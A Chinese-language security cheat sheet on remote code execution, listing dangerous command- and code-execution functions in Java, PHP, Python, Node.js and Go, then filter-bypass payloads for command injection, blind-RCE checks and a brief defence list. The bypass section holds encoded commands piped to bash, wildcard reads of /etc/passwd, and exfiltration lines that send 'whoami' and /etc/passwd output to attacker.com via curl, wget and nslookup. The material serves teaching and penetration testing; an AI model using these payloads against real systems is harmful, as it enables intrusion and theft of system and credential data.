RCE总结
说明
RCE(Remote Code/Command Execution,远程代码/命令执行)通常是因为应用在调用系统命令时,未对用户输入进行严格过滤,导致攻击者可以将恶意命令拼接到正常命令执行语句中执行。 因为可以RCE的点太多太广太复杂例如:表达式注入,模板注入,反序列化,本地gadget,反射等等不便于一次性总结,这里只总结无调用链或调用链简易的直接调用危险函数方法执行命令/代码的知识。
危险函数
Java
-
命令执行
类/方法 描述 Runtime.getRuntime().exec()
在单独的进程中执行指定的字符串命令。这是Java中最核心的命令执行方法。 ProcessBuilder
是 Runtime.exec()
的升级版,提供更多控制。如果构造时传入的命令可控,同样会造成命令注入。 -
代码执行
Java没有像PHP
eval()
那样直接的函数,但通过以下机制可以实现:机制/技术 描述 不安全的反序列化 使用 ObjectInputStream.readObject()
反序列化来自不可信来源的数据。这是Java RCE最常见的攻击向量(如Apache Commons Collections漏洞)。Java反射 (Reflection) java.lang.reflect
包。如果攻击者可以控制类名、方法名和参数,就可以调用任意类的任意方法。脚本引擎 (Scripting Engines) javax.script.ScriptEngineManager
。Java可以集成如JavaScript (Nashorn)、Groovy等脚本引擎。如果脚本内容可控,就会导致代码执行。模板注入 (SSTI) 在一些模板引擎中(如Velocity, FreeMarker),如果模板内容可控,攻击者可以构造恶意模板来执行任意Java代码。 JNDI注入 JNDI(Java Naming and Directory Interface)查询如果地址可控,可能加载远程恶意类文件(如Log4Shell漏洞)。
PHP
-
命令执行
函数/方法 描述 system()
执行外部程序,并且显示输出。 exec()
执行一个外部程序,不输出结果,但返回输出的最后一行。 passthru()
执行外部程序,并且显示原始输出。常用于执行二进制文件。 shell_exec()
通过shell环境执行命令,并将完整的输出以字符串的方式返回。 反引号 ``` 这是 shell_exec()
的别名,例如whoami
等同于shell_exec('whoami')
。popen()
打开一个指向进程的管道,可以对这个进程进行读写。 proc_open()
执行一个命令,并且打开用来输入/输出的文件指针。 pcntl_exec()
在当前进程空间执行指定程序。 -
代码执行
函数/方法 描述 eval()
将字符串作为PHP代码执行,这是最典型的代码执行函数。 assert()
检查一个断言是否为 FALSE
。如果参数是字符串,它会作为PHP代码执行。preg_replace()
当使用 /e
修饰符时(在PHP 5.5.0后被废弃),第二个参数会被当作PHP代码执行。create_function()
创建一个匿名函数,其函数体和参数来自于字符串,本质上也是一种 eval
。call_user_func()
调用用户自定义的函数。如果第一个参数可控(如 $_GET['func']
),可能导致调用危险函数。call_user_func_array()
与 call_user_func()
类似,但参数以数组形式传递。array_map()
如果回调函数可控,可能导致调用危险函数。 usort()
,uasort()
使用用户自定义的比较函数对数组排序,如果比较函数可控,则可能触发代码执行。 动态包含/加载 include()
,require()
,include_once()
,require_once()
。如果包含的文件路径可控,可能导致执行任意PHP文件。
python
-
命令执行
模块/函数 描述 os.system()
在子shell中执行命令。非常直接,是最常见的命令执行方式。 os.popen()
打开一个管道来执行命令,返回一个连接到管道的文件对象。 subprocess
模块这是推荐的进程管理模块,但如果使用不当,依然危险。 subprocess.run(..., shell=True)
当 shell=True
时,命令会通过shell解析,极易受到命令注入攻击。subprocess.call(..., shell=True)
同上。 subprocess.check_call(..., shell=True)
同上。 subprocess.check_output(..., shell=True)
同上。 -
代码执行
模块/函数 描述 eval()
解析一个字符串表达式,并返回结果。 exec()
执行动态生成的Python代码字符串。 input()
(仅Python 2)在Python 2中, input()
函数等同于eval(raw_input())
,会执行用户输入的代码。pickle.loads()
反序列化不安全的数据。攻击者可以构造恶意的pickle数据,在反序列化时执行任意代码。 yaml.load()
在PyYAML库中, yaml.load()
默认是不安全的,需要使用yaml.safe_load()
。
Node.js (JavaScript)
-
命令执行
模块/函数 描述 child_process.exec()
衍生一个shell,然后在该shell中执行命令。 child_process.execSync()
exec()
的同步版本。child_process.spawn(..., {shell: true})
虽然 spawn
本身更安全,但如果开启shell: true
选项,就和exec
一样危险。 -
代码执行
函数 描述 eval()
执行一个字符串作为JavaScript代码。 new Function()
通过字符串创建一个新的函数,等同于 eval
。setTimeout(string, ...)
如果第一个参数是字符串而不是函数,会被当作代码执行。 setInterval(string, ...)
同上。
GO
命令执行
包/函数 | 描述 |
---|---|
exec.Command() |
创建一个Cmd 对象来执行命令。本身是安全的,因为它不会调用shell。 |
exec.Command("sh", "-c", command) |
危险用法。如果command 字符串由用户提供,这就相当于直接调用shell,会产生命令注入。 |
Go没有内置的eval
函数,代码执行通常需要借助其他不安全的库或插件机制。
命令执行绕过
Linux/Unix
# 空格绕过
cat${IFS}file.txt
cat<>file.txt
X=$'cat\x20file.txt'&&$X
# 特殊字符绕过
wh''oa'm'i # 单引号
w"h"o"a"m"i # 双引号
w\h\o\a\m\i # 转义符
whoa$@mi/wh$9oami # 特殊变量
# 编码绕过
echo "d2hvYW1p" | base64 -d | bash # Base64
echo "77686F616D69" | xxd -r -p | bash # Hex
# 通配符利用
cat /???/pass* # 读取/etc/passwd
/???/c?t /???/pass* # 使用通配符调用命令
Windows
who""a"m"i # 双引号
who^ami # 转义符
set var=whoami && %var% # 环境变量
无回显验证
# 1. 时间延迟判断(不出网)
ping -c 4 127.0.0.1 # Linux
timeout 4 # Windows
# 2. DNS外带数据(出网)
curl http://attacker.com/`whoami`.domain
nslookup `whoami`.attacker.com
# 3. HTTP请求外带(出网)
curl http://attacker.com/$(cat /etc/passwd | base64)
wget http://attacker.com/$(id|base64)
# 4. 文件写入输出(不出网)
whoami > /var/www/html/result.txt
id | tee /tmp/result
其他限制绕过
# 将命令写入文件再执行(绕过长度限制)
echo "whoami" > /tmp/a
sh /tmp/a
# 通过环境变量存储命令(绕过次数限制)
export cmd="whoami"
$cmd
防御
- 严格的输入过滤(危险函数,连接符号等等)
- 使用安全的方法或者参数化查询
- 保持权限最小化原则
- 禁用危险函数(php.ini)
- 使用容器隔离(docker)
- 网络层:使用WAF,网段隔离,非必须服务器不出网
- 应用层:启用RASP(运行时应用自我保护),但这个可以绕过,调用比拦截类更底层的类
- 安全开发生命周期(SDLC)与监控、审计与响应